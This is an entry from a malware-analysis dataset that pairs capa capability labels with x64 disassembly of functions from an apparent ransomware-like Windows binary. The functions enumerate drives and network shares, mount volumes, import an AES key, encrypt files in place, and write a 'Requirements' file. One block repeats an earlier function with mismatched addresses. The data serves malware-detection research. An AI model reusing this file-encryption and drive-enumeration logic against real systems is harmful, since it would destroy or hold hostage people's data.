joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140014d90
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov rbp, qword [rdx + 8]
xor ebx, ebx
sub rbp, qword [rdx]
mov r15, rdx
mov r12, qword [r8 + 8]
mov r13, r8
mov qword [rcx], rbx
mov r14, rcx
mov qword [rcx + 8], rbx
mov qword [rcx + 0x10], rbx
mov rdx, qword [rdx + 8]
sub rdx, qword [r15]
je 0x140014e14
movabs rax, 0x7fffffffffffffff
cmp rdx, rax
ja 0x140014e57
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rdi
call fcn.140009a50
mov rdx, qword [r15]
mov rdi, qword [r15 + 8]
mov rsi, qword [r14]
sub rdi, rdx
mov r8, rdi
mov rcx, rsi
call fcn.140046b90
lea rax, [rdi + rsi]
mov rdi, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x60]
mov qword [r14 + 8], rax
test rbp, rbp
je 0x140014e41
mov r8, qword [r13]
nop dword [rax]
xor edx, edx
mov rax, rbx
div r12
mov rax, qword [r15]
movzx ecx, byte [rdx + r8]
xor cl, byte [rax + rbx]
mov rax, qword [r14]
mov byte [rbx + rax], cl
inc rbx
cmp rbx, rbp
jb 0x140014e20
mov rbx, qword [rsp + 0x70]
mov rax, r14
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400062f0
int3
Function at 0x140014e60
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi

Disassembly:
push rbx
push rdi
sub rsp, 0x78
mov rax, qword [rdx + 8]
mov rdi, rdx
sub rax, qword [rdx]
mov rbx, rcx
cmp rax, 0x10
jne 0x140014f8c
lea r9d, [rax + 8]
mov dword [rsp + 0x20], 0xf0000040
xor r8d, r8d
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140014faf
mov rax, qword [rdi]
lea rdx, [rsp + 0x48]
mov rcx, qword [rbx]
xor r9d, r9d
mov qword [rsp + 0x90], rbp
xor ebp, ebp
mov dword [rsp + 0x48], 0x208
mov dword [rsp + 0x4c], 0x660e
mov dword [rsp + 0x50], 0x10
movups xmm0, xmmword [rax]
mov qword [rsp + 0x70], rsi
lea r8d, [rbp + 0x1c]
lea rsi, [rbx + 8]
mov qword [rsp + 0x28], rsi
movups xmmword [rsp + 0x54], xmm0
mov dword [rsp + 0x20], ebp
call qword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x140014fd2
mov rcx, qword [rsi]
lea r9, [rsp + 0x98]
lea r8, [rbx + 0x10]
mov dword [rsp + 0x98], 4
lea edx, [rbp + 8]
mov dword [rsp + 0x20], ebp
call qword [sym.imp.ADVAPI32.dll_CryptGetKeyParam]
test eax, eax
je 0x140014ff5
mov rcx, qword [rsi]
lea r8, [rsp + 0xa0]
shr dword [rbx + 0x10], 3
lea edx, [rbp + 4]
xor r9d, r9d
mov dword [rsp + 0xa0], 2
call qword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x140014f69
mov rbp, qword [rsp + 0x90]
mov rax, rbx
mov rsi, qword [rsp + 0x70]
add rsp, 0x78
pop rdi
pop rbx
ret
lea rdx, str._Error_setting_the_chaining_mode
lea rcx, [rsp + 0x30]
call fcn.140001700
lea rdx, [0x14005fd48]
lea rcx, [rsp + 0x30]
call fcn.140026bf8
int3
lea rdx, str.Bad_key_size.
lea rcx, [rsp + 0x30]
call fcn.140001700
lea rdx, [0x14005fd48]
lea rcx, [rsp + 0x30]
call fcn.140026bf8
int3
lea rdx, str.Failed_to_acquire_cryptographic_context.
lea rcx, [rsp + 0x30]
call fcn.140001700
lea rdx, [0x14005fd48]
lea rcx, [rsp + 0x30]
call fcn.140026bf8
int3
lea rdx, str.Failed_to_import_key.
lea rcx, [rsp + 0x30]
call fcn.140001700
lea rdx, [0x14005fd48]
lea rcx, [rsp + 0x30]
call fcn.140026bf8
int3
lea rdx, str.Failed_to_get_block_size.
lea rcx, [rsp + 0x30]
call fcn.140001700
lea rdx, [0x14005fd48]
lea rcx, [rsp + 0x30]
call fcn.140026bf8
int3
Function at 0x140015920
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov rbp, rcx
mov dword [rsp + 0x78], 0x105
mov ecx, 0x20a
call fcn.1400372bc
mov rbx, rax
test rax, rax
je 0x140015999
nop dword [rax]
lea r9, [rsp + 0x78]
mov r8d, dword [rsp + 0x78]
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
mov esi, eax
test eax, eax
jne 0x1400159ac
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x140015b04
mov rcx, rbx
call fcn.1400372a8
mov ecx, dword [rsp + 0x78]
add rcx, rcx
call fcn.1400372bc
mov rbx, rax
test rax, rax
jne 0x140015950
xor eax, eax
mov rbx, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
xor r15d, r15d
mov edi, r15d
movabs r14, 0x5c003a0041
mov qword [rsp + 0x80], r14
lea eax, [rdi + 0x41]
mov word [rsp + 0x80], ax
lea rcx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jne 0x140015a1f
mov rdx, rbp
lea rcx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
mov esi, eax
test eax, eax
jne 0x140015a2b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
lea r8, [rsp + 0x80]
mov rdx, rbp
lea rcx, str.____Not_mounted:__s_____s__error:_0x_X_n
call fcn.140001e00
inc edi
cmp edi, 0x1a
jb 0x1400159c2
jmp 0x140015b04
lea r8, [rsp + 0x80]
mov rdx, rbp
lea rcx, str.___Mounted:__s_____s_n
call fcn.140001e00
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
lea rax, [rsp + 0x80]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], r15w
jne 0x140015a62
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x20]
call fcn.140001fa0
nop
mov rdx, qword [0x140062d20]
cmp rdx, qword [0x140062d28]
je 0x140015ab5
movups xmm0, xmmword [rsp + 0x20]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rsp + 0x30]
movups xmmword [rdx + 0x10], xmm1
mov edx, 7
mov word [rsp + 0x20], r15w
add qword [0x140062d20], 0x20
jmp 0x140015acb
lea r8, [rsp + 0x20]
lea rcx, [0x140062d18]
call fcn.14000c1e0
mov rdx, qword [rsp + 0x38]
cmp rdx, 7
jbe 0x140015b04
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015aff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015b24
call fcn.140024e14
test rbx, rbx
je 0x140015b11
mov rcx, rbx
call fcn.1400372a8
mov eax, esi
mov rbx, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.140036164
int3
Function at 0x140015b30
Capabilities:
Enumerate disk volumes
Get disk information

Disassembly:
push rdi
sub rsp, 0x440
mov edx, 0x104
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140015c5c
lea rax, [rsp + 0x20]
mov rcx, 0xffffffffffffffff
inc rcx
cmp word [rax + rcx*2], 0
jne 0x140015b62
dec rcx
cmp word [rsp + 0x20], 0x5c
jne 0x140015c53
mov qword [rsp + 0x458], rbp
mov qword [rsp + 0x460], rsi
xor esi, esi
mov qword [rsp + 0x450], rbx
nop word [rax + rax]
cmp word [rsp + 0x22], 0x5c
jne 0x140015c3b
cmp word [rsp + 0x24], 0x3f
jne 0x140015c3b
cmp word [rsp + 0x26], 0x5c
jne 0x140015c3b
lea rbx, [rsp + 0x20]
cmp word [rbx + rcx*2], 0x5c
lea rbx, [rbx + rcx*2]
jne 0x140015c3b
mov r8d, 0x104
mov word [rbx], si
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov word [rbx], 0x5c
test eax, eax
je 0x140015c3b
lea rcx, [rsp + 0x20]
call fcn.140015920
mov r8d, 0x104
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
je 0x140015c3b
lea rax, [rsp + 0x20]
mov rcx, 0xffffffffffffffff
inc rcx
cmp word [rax + rcx*2], si
jne 0x140015c23
dec rcx
cmp word [rsp + 0x20], 0x5c
je 0x140015ba0
mov rbx, qword [rsp + 0x450]
mov rbp, qword [rsp + 0x458]
mov rsi, qword [rsp + 0x460]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindVolumeClose]
add rsp, 0x440
pop rdi
ret
Function at 0x140017f00
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x40
cmp qword [rcx + 0x18], 7
mov rbx, rcx
mov qword [rsp + 0x68], rbp
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], r14
jbe 0x140017f2b
mov rcx, qword [rcx]
lea rsi, [rbx + 0x18]
jmp 0x140017f2f
lea rsi, [rcx + 0x18]
xor r15d, r15d
xor r9d, r9d
mov qword [rsp + 0x30], r15
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov edx, 0xc0000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x14001801a
cmp qword [0x140062db8], 0xf
lea rdx, [0x140062da0]
mov dword [rsp + 0x60], r15d
lea rdi, [rbx + 0x18]
jbe 0x140017f89
mov rdx, qword [0x140062da0]
mov rdi, rsi
mov r8d, dword [0x140062db0]
lea r9, [rsp + 0x60]
mov rcx, r14
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [rsp + 0x60]
mov rsi, qword [0x140062db0]
test eax, eax
je 0x140017fdf
cmp rcx, rsi
jne 0x140017fdf
cmp qword [rbx + 0x18], 7
mov rdx, rbx
jbe 0x140017fc8
mov rdx, qword [rbx]
lea rdi, [rbx + 0x18]
lea rcx, str.___Requirements__Created:__s_n
call fcn.140001e00
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14001803e
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp qword [rdi], 7
mov rdx, rbx
jbe 0x140017ff8
mov rdx, qword [rbx]
lea rdi, [rbx + 0x18]
mov r9, rbp
mov qword [rsp + 0x20], rsi
mov r8d, eax
lea rcx, str.____Requirements__Can_t_write:__s__error:_0x_X___zu__zu_n
call fcn.140001e00
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14001803e
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp qword [rsi], 7
mov rdx, rbx
jbe 0x14001802c
mov rdx, qword [rbx]
mov r8d, eax
lea rcx, str.____Requirements__Can_t_open:__s__error:_0x_X_n
call fcn.140001e00
mov rdi, rsi
mov r14, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x68]
mov rdx, qword [rdi]
cmp rdx, 7
jbe 0x140018087
mov rcx, qword [rbx]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x140018082
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400180ab
mov rcx, r8
call fcn.140024e14
mov edx, 0x20
mov qword [rbx + 0x10], r15
mov rcx, rbx
mov qword [rdi], 7
mov word [rbx], r15w
add rsp, 0x40
pop r15
pop rdi
pop rbx
jmp fcn.140024e14
call fcn.140036164
int3
Function at 0x140019150
Capabilities:
Encrypt or decrypt via wincrypt
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
mov r15, r8
mov rsi, rdx
mov r14, rcx
xor r12d, r12d
mov dword [rbp + 0x7f], r12d
mov dword [rbp + 0x67], r12d
mov rdx, qword [rcx]
lea rcx, [rbp - 9]
call fcn.140014e60
nop
mov rax, qword [r14 + 8]
mov rbx, qword [rax]
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x21], xmm0
mov edi, r12d
mov qword [rbp - 0x11], r12
test rbx, rbx
je 0x1400191e0
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x140019320
mov rdx, rbx
lea rcx, [rbp - 0x21]
call fcn.140009a50
mov r8, rbx
xor edx, edx
mov rbx, qword [rbp - 0x21]
mov rcx, rbx
call fcn.140047230
mov rdi, qword [rbp - 0x11]
jmp 0x1400191e4
mov rbx, qword [rbp - 0x21]
mov qword [rbp + 0xf], r12
mov qword [rbp + 0x17], r12
mov qword [rbp + 0x27], r12
mov dword [rbp + 0x1f], esi
shr rsi, 0x20
mov dword [rbp + 0x23], esi
mov rax, qword [r14 + 0x10]
lea rcx, [rbp + 0xf]
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x67]
mov r8d, r15d
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400192ae
mov esi, dword [rbp + 0x67]
cmp rsi, r15
jne 0x1400192ae
xorps xmm0, xmm0
cvtsi2sd xmm0, rsi
mulsd xmm0, qword [0x140058090]
call fcn.140046a0c
mulsd xmm0, qword [0x140058098]
cvttsd2si rax, xmm0
mov dword [rbp - 0x29], eax
test eax, eax
je 0x140019282
mov dword [rsp + 0x30], eax
lea rax, [rbp - 0x29]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp - 1]
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x1400192ae
mov esi, dword [rbp + 0x67]
mov rax, qword [r14 + 0x10]
lea rcx, [rbp + 0xf]
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x7f]
mov r8d, esi
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1400192ae
mov esi, dword [rbp + 0x67]
cmp dword [rbp + 0x7f], esi
je 0x1400192b1
mov esi, r12d
test rbx, rbx
je 0x1400192e6
sub rdi, rbx
mov rax, rbx
cmp rdi, 0x1000
jb 0x1400192da
add rdi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001931a
mov rdx, rdi
mov rcx, rbx
call fcn.140024e14
nop
mov rcx, qword [rbp - 1]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
xor edx, edx
mov rcx, qword [rbp - 9]
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, esi
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call fcn.140036164
nop
call fcn.1400062f0
int3
mov rdx, rcx
add rcx, 0x18
mov r8, qword [rdx + 8]
mov rdx, qword [rdx + 0x10]
jmp 0x140019150
Function at 0x14001fdf0
Capabilities:
Create restart manager session
Encrypt or decrypt via wincrypt
Enumerate processes that use resource
Move file
Read file on windows
Terminate process
Write file on windows

Disassembly:
mov rcx, qword [rcx + 8]
jmp fcn.1400180c0

Function at 0x140020c50
Capabilities:
Encrypt or decrypt via wincrypt
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
mov r15, r8
mov rsi, rdx
mov r14, rcx
xor r12d, r12d
mov dword [rbp + 0x7f], r12d
mov dword [rbp + 0x67], r12d
mov rdx, qword [rcx]
lea rcx, [rbp - 9]
call fcn.140014e60
nop
mov rax, qword [r14 + 8]
mov rbx, qword [rax]
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x21], xmm0
mov edi, r12d
mov qword [rbp - 0x11], r12
test rbx, rbx
je 0x1400191e0
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x140019320
mov rdx, rbx
lea rcx, [rbp - 0x21]
call fcn.140009a50
mov r8, rbx
xor edx, edx
mov rbx, qword [rbp - 0x21]
mov rcx, rbx
call fcn.140047230
mov rdi, qword [rbp - 0x11]
jmp 0x1400191e4
mov rbx, qword [rbp - 0x21]
mov qword [rbp + 0xf], r12
mov qword [rbp + 0x17], r12
mov qword [rbp + 0x27], r12
mov dword [rbp + 0x1f], esi
shr rsi, 0x20
mov dword [rbp + 0x23], esi
mov rax, qword [r14 + 0x10]
lea rcx, [rbp + 0xf]
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x67]
mov r8d, r15d
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400192ae
mov esi, dword [rbp + 0x67]
cmp rsi, r15
jne 0x1400192ae
xorps xmm0, xmm0
cvtsi2sd xmm0, rsi
mulsd xmm0, qword [0x140058090]
call fcn.140046a0c
mulsd xmm0, qword [0x140058098]
cvttsd2si rax, xmm0
mov dword [rbp - 0x29], eax
test eax, eax
je 0x140019282
mov dword [rsp + 0x30], eax
lea rax, [rbp - 0x29]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp - 1]
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x1400192ae
mov esi, dword [rbp + 0x67]
mov rax, qword [r14 + 0x10]
lea rcx, [rbp + 0xf]
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x7f]
mov r8d, esi
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1400192ae
mov esi, dword [rbp + 0x67]
cmp dword [rbp + 0x7f], esi
je 0x1400192b1
mov esi, r12d
test rbx, rbx
je 0x1400192e6
sub rdi, rbx
mov rax, rbx
cmp rdi, 0x1000
jb 0x1400192da
add rdi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001931a
mov rdx, rdi
mov rcx, rbx
call fcn.140024e14
nop
mov rcx, qword [rbp - 1]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
xor edx, edx
mov rcx, qword [rbp - 9]
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, esi
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call fcn.140036164
nop
call fcn.1400062f0
int3
mov rdx, rcx
add rcx, 0x18
mov r8, qword [rdx + 8]
mov rdx, qword [rdx + 0x10]
jmp 0x140019150
Function at 0x1400215c0
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 8], rcx
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0x90
mov rbx, rcx
xor r15d, r15d
mov dword [rbp - 0x19], r15d
mov qword [rcx], r15
mov qword [rcx + 8], r15
mov qword [rcx + 0x10], r15
mov esi, 1
mov dword [rbp - 0x19], esi
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov r14d, eax
mov edi, r15d
movabs r12, 0x7ffffffffffffffe
bt r14d, edi
jae 0x140021787
xorps xmm0, xmm0
movups xmmword [rbp - 0x11], xmm0
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov r8d, 2
lea rdx, [0x140057d5c]
lea rcx, [rbp - 0x11]
call fcn.140001fa0
nop
lea rax, [rbp - 0x11]
cmp qword [rbp + 7], 7
cmova rax, qword [rbp - 0x11]
add word [rax], di
lea rcx, [rbp - 0x11]
cmp qword [rbp + 7], 7
cmova rcx, qword [rbp - 0x11]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
lea ecx, [rax - 2]
test ecx, 0xfffffffa
jne 0x14002174b
cmp eax, 7
je 0x14002174b
mov rax, r12
mov rcx, qword [rbp - 1]
sub rax, rcx
cmp rax, 4
jb 0x1400217b1
lea rax, [rbp - 0x11]
cmp qword [rbp + 7], 7
cmova rax, qword [rbp - 0x11]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 4
lea r9, str.__
lea rcx, [rbp + 0xf]
call fcn.140008a80
or esi, 2
mov dword [rbp - 0x19], esi
mov rdx, qword [rbp + 7]
cmp rdx, 7
jbe 0x14002170e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021709
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400217bd
call fcn.140024e14
movups xmm0, xmmword [rbp + 0xf]
movups xmmword [rbp - 0x11], xmm0
movups xmm1, xmmword [rbp + 0x1f]
movups xmmword [rbp - 1], xmm1
mov rax, qword [rbx + 8]
cmp rax, qword [rbx + 0x10]
je 0x14002173b
lea rdx, [rbp - 0x11]
mov rcx, rax
call fcn.1400021f0
add qword [rbx + 8], 0x20
jmp 0x14002174b
lea r8, [rbp - 0x11]
mov rdx, rax
mov rcx, rbx
call fcn.140022e30
nop
mov rdx, qword [rbp + 7]
cmp rdx, 7
jbe 0x140021787
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x11]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140021782
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400217b7
call fcn.140024e14
inc edi
cmp edi, 0x1a
jb 0x140021616
mov rax, rbx
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call fcn.1400016e0
nop
call fcn.140036164
nop
call fcn.140036164
int3
Function at 0x1400217d0
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
mov qword [rsp + 8], rcx
push rbp
push rdi
push r14
lea rbp, [rsp - 0x780]
sub rsp, 0x880
mov rbx, rcx
xor r14d, r14d
mov dword [rsp + 0x40], r14d
mov qword [rcx], r14
mov qword [rcx + 8], r14
mov qword [rcx + 0x10], r14
mov dword [rsp + 0x40], 1
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, eax
mov edi, r14d
nop dword [rax + rax]
bt esi, edi
jae 0x1400219c2
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], r14
mov r8d, 2
lea rdx, [0x140057d5c]
lea rcx, [rsp + 0x20]
call fcn.140001fa0
nop
lea rax, [rsp + 0x20]
cmp qword [rsp + 0x38], 7
cmova rax, qword [rsp + 0x20]
add word [rax], di
lea rcx, [rsp + 0x20]
cmp qword [rsp + 0x38], 7
cmova rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 4
jne 0x140021984
mov dword [rbp + 0x7a8], 0x404
lea rcx, [rsp + 0x20]
cmp qword [rsp + 0x38], 7
cmova rcx, qword [rsp + 0x20]
lea r8, [rbp + 0x7a8]
lea rdx, [rsp + 0x70]
call qword [sym.imp.MPR.dll_WNetGetConnectionW]
test eax, eax
jne 0x140021975
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], r14
lea rax, [rsp + 0x70]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1400218e0
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x48]
call fcn.140001fa0
nop
mov rdx, qword [rbx + 8]
cmp rdx, qword [rbx + 0x10]
je 0x140021928
movups xmm0, xmmword [rsp + 0x48]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rsp + 0x58]
movups xmmword [rdx + 0x10], xmm1
mov edx, 7
mov word [rsp + 0x48], r14w
add qword [rbx + 8], 0x20
jmp 0x14002193a
lea r8, [rsp + 0x48]
mov rcx, rbx
call fcn.14000c1e0
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x140021984
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002196e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400219e8
call fcn.140024e14
jmp 0x140021984
mov edx, eax
lea rcx, str.____WNetGetConnection_failed_0x_X_n
call fcn.140001e00
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 7
jbe 0x1400219c2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
cmp rdx, 0x1000
mov rax, rcx
jb 0x1400219bd
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400219ee
call fcn.140024e14
inc edi
cmp edi, 0x1a
jb 0x140021820
mov rax, rbx
lea r11, [rsp + 0x880]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
call fcn.140036164
nop
call fcn.140036164
int3
Function at 0x140022030
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x40
mov r14, rcx
xor r12d, r12d
mov rsi, qword [r8]
mov r8, rsi
lea edx, [r12 + 0x65]
lea rcx, str.____Get_resource_with_id__i_and_type__s..._n
call fcn.140001e00
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
test rax, rax
je 0x1400221b6
mov r8, rsi
lea edx, [r12 + 0x65]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
je 0x1400221b6
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400221b6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbp, rax
test rax, rax
je 0x1400221b6
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x28], xmm0
mov esi, r12d
mov qword [rsp + 0x38], r12
test eax, eax
je 0x140022117
mov edx, ebx
lea rcx, [rsp + 0x28]
call fcn.140009a50
mov r8d, ebx
xor edx, edx
mov rdi, qword [rsp + 0x28]
mov rcx, rdi
call fcn.140047230
lea r15, [rbx + rdi]
mov qword [rsp + 0x30], r15
mov rsi, qword [rsp + 0x38]
jmp 0x140022121
mov r15, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x28]
sub r15, rdi
mov r8, r15
mov rdx, rbp
mov rcx, rdi
call fcn.140046b90
mov byte [r14], 1
mov qword [r14 + 8], r12
mov qword [r14 + 0x10], r12
mov qword [r14 + 0x18], r12
test r15, r15
je 0x140022180
movabs rax, 0x7fffffffffffffff
cmp r15, rax
ja 0x140022201
mov rdx, r15
lea rcx, [r14 + 8]
call fcn.140009a50
mov rbx, qword [r14 + 8]
mov r8, r15
mov rdx, rdi
mov rcx, rbx
call fcn.140046b90
lea rax, [r15 + rbx]
mov qword [r14 + 0x10], rax
test rdi, rdi
je 0x1400221d9
sub rsi, rdi
mov rax, rdi
cmp rsi, 0x1000
jb 0x1400221a9
add rsi, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400221fb
mov rdx, rsi
mov rcx, rdi
call fcn.140024e14
jmp 0x1400221d9
mov r8, rsi
mov edx, 0x65
lea rcx, str.____Resource_with_id__i_and_type__s_not_found_n
call fcn.140001e00
mov byte [r14], r12b
mov qword [r14 + 8], r12
mov qword [r14 + 0x10], r12
mov qword [r14 + 0x18], r12
mov rax, r14
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r12
ret
call fcn.140036164
nop
call fcn.1400062f0
nop
int3